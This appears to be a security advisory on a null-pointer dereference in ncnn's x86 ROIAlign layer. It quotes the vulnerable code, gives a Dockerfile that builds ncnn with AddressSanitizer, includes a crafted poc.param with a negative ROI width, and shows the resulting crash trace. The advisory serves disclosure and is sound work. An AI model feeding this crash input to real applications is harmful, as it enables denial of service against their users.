ROIAlign Null Dereference
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/roialign_x86.cpp:224 in ROIAlign_x86::forward
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x55c014fcaed0 bp 0x7ffd5a9e0cc0 sp 0x7ffd5a9e05c0 T0)
Summary
A crafted .param graph can declare the ROIAlign region-of-interest input with a negative
width. Mat::create allocates nothing for such a shape, so the blob reaches the layer with a
null data pointer, and ROIAlign_x86::forward reads four floats out of it without ever
checking that it holds anything. The result is a null-pointer read that terminates
ncnnoptimize during shape inference — and the same code path serves ordinary x86 CPU
inference, so any application running an attacker-supplied graph is affected.
Detail
The untrusted field is parameter id 0 (w) of the second Input layer, which becomes the
ROI tensor. ModelWriter::shape_inference turns each Input layer's declared dimensions
into a real tensor and feeds it to the extractor:
// tools/modelwriter.h:367
ncnn::Input* input = (ncnn::Input*)layer;
int w = input->w;
int h = input->h;
int d = input->d;
int c = input->c;
int dims = 0;
if (w == 0 && h == 0 && d == 0 && c == 0) dims = 0;
if (w != 0 && h == 0 && d == 0 && c == 0) dims = 1;
if (w != 0 && h != 0 && d == 0 && c == 0) dims = 2;
if (w != 0 && h != 0 && d == 0 && c != 0) dims = 3;
if (w != 0 && h != 0 && d != 0 && c != 0) dims = 4;
if (dims == 0)
{
fprintf(stderr, "Input layer %s without shape info, shape_inference skipped\n", layer->name.c_str());
return -1;
}
ncnn::Mat m;
if (dims == 1) m.create(w);
if (dims == 2) m.create(w, h);
if (dims == 3) m.create(w, h, c);
if (dims == 4) m.create(w, h, d, c);
ex.input(layer->tops[0], m);
With w == -1, dims is 1 and m.create(-1) runs Mat::create at src/mat.cpp:299, where
cstep = alignSize(w * elemsize, 16) / elemsize rounds -4 up to 0. totalsize is
therefore 0, no buffer is allocated, and data stays NULL. Nothing rejects the negative
extent — Input::load_param stores it as-is and create silently produces an empty Mat.
ROIAlign_x86::forward receives that Mat as bottom_blobs[1], converts it to a raw
pointer with no emptiness test, and dereferences the first four elements:
// src/layer/x86/roialign_x86.cpp:206
int ROIAlign_x86::forward(const std::vector<Mat>& bottom_blobs, std::vector<Mat>& top_blobs, const Option& opt) const
{
const Mat& bottom_blob = bottom_blobs[0];
const int width = bottom_blob.w;
const int height = bottom_blob.h;
const size_t elemsize = bottom_blob.elemsize;
const int channels = bottom_blob.c;
const Mat& roi_blob = bottom_blobs[1];
Mat& top_blob = top_blobs[0];
top_blob.create(pooled_width, pooled_height, channels, elemsize, opt.blob_allocator);
if (top_blob.empty())
return -100;
// For each ROI R = [x y w h]: max pool over R
const float* roi_ptr = roi_blob;
float roi_start_w = roi_ptr[0] * spatial_scale;
float roi_start_h = roi_ptr[1] * spatial_scale;
float roi_end_w = roi_ptr[2] * spatial_scale;
float roi_end_h = roi_ptr[3] * spatial_scale;
The PoC declares Input roi 0 1 roi 0=-1 and wires it as the second bottom of
ROIAlign roialign 2 1 feature roi output. roi_ptr is NULL, so line 224 evaluates
((const float*)NULL)[0] * spatial_scale. The layer does check top_blob.empty() on line 219
for its own output allocation, but performs no equivalent check on either input; the stack
trace lands in roialign_x86_avx512.cpp, the AVX-512 translation unit generated from this
same source file.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-roialign-null-dereference && cd ncnn-poc-roialign-null-dereference
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'EOF'
7767517
3 3
Input feature 0 1 feature 0=2 1=2 2=1
Input roi 0 1 roi 0=-1
ROIAlign roialign 2 1 feature roi output 0=1 1=1 2=1 3=0 4=0 5=0
EOF
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x5db1930f1ed0 bp 0x7ffff64bc670 sp 0x7ffff64bbf70 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
#0 0x5db1930f1ed0 in ncnn::ROIAlign_x86_avx512::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/build/src/layer/x86/roialign_x86_avx512.cpp:224
#1 0x5db18d70e70b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:856
#2 0x5db18d6f6b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#3 0x5db18d7569e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#4 0x5db18d5e83c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#5 0x5db18d665eee in main /ncnn/tools/ncnnoptimize.cpp:2844
#6 0x772b1673b1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#7 0x772b1673b28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x5db18d5e5624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/build/src/layer/x86/roialign_x86_avx512.cpp:224 in ncnn::ROIAlign_x86_avx512::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const
==1==ABORTING
Credit
Zheng Yu @ DepthFirst